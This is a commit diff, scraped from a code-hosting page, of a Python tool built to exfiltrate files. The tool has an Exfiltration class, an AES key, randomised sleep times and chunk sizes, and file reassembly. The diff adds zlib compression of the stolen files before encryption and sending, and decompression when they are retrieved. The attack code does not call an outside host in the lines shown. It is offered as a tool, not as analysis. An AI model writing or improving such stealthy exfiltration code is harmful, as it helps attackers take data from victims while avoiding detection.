14
14
from os import listdir
15
15
from os .path import isfile , join
16
16
from Crypto .Cipher import AES
17
+ from zlib import compress , decompress
17
18
18
19
KEY = ""
19
20
MIN_TIME_SLEEP = 1
20
21
MAX_TIME_SLEEP = 30
21
22
MIN_BYTES_READ = 1
22
23
MAX_BYTES_READ = 500
24
+ COMPRESSION = True
23
25
files = {}
24
26
threads = []
25
27
config = None
@@ -189,6 +191,8 @@ def retrieve_file(self, jobid):
189
191
os .path .pathsep , '' ), time .strftime ("%Y-%m-%d.%H:%M:%S" , time .gmtime ()))
190
192
content = '' .join (str (v ) for v in files [jobid ]['data' ]).decode ('hex' )
191
193
content = aes_decrypt (content , self .KEY )
194
+ if COMPRESSION :
195
+ content = decompress (content )
192
196
f = open (filename , 'w' )
193
197
f .write (content )
194
198
f .close ()
@@ -252,7 +256,10 @@ def run(self):
252
256
# sending the data
253
257
f = tempfile .SpooledTemporaryFile ()
254
258
e = open (self .file_to_send , 'rb' )
255
- f .write (aes_encrypt (e .read (), self .exfiltrate .KEY ))
259
+ data = e .read ()
260
+ if COMPRESSION :
261
+ data = compress (data )
262
+ f .write (aes_encrypt (data , self .exfiltrate .KEY ))
256
263
f .seek (0 )
257
264
e .close ()
258
265
@@ -289,7 +296,7 @@ def signal_handler(bla, frame):
289
296
290
297
291
298
def main ():
292
- global MAX_TIME_SLEEP , MIN_TIME_SLEEP , KEY , MAX_BYTES_READ , MIN_BYTES_READ
299
+ global MAX_TIME_SLEEP , MIN_TIME_SLEEP , KEY , MAX_BYTES_READ , MIN_BYTES_READ , COMPRESSION
293
300
global threads , config
294
301
295
302
parser = argparse .ArgumentParser (
@@ -324,6 +331,7 @@ def main():
324
331
MAX_TIME_SLEEP = int (config ['max_time_sleep' ])
325
332
MIN_BYTES_READ = int (config ['min_bytes_read' ])
326
333
MAX_BYTES_READ = int (config ['max_bytes_read' ])
334
+ COMPRESSION = bool (config ['compression' ])
327
335
KEY = config ['AES_KEY' ]
328
336
app = Exfiltration (results , KEY )
329
337
@@ -365,4 +373,4 @@ def main():
365
373
break
366
374
367
375
if __name__ == '__main__' :
368
- main ()
376
+ main ()
0 commit comments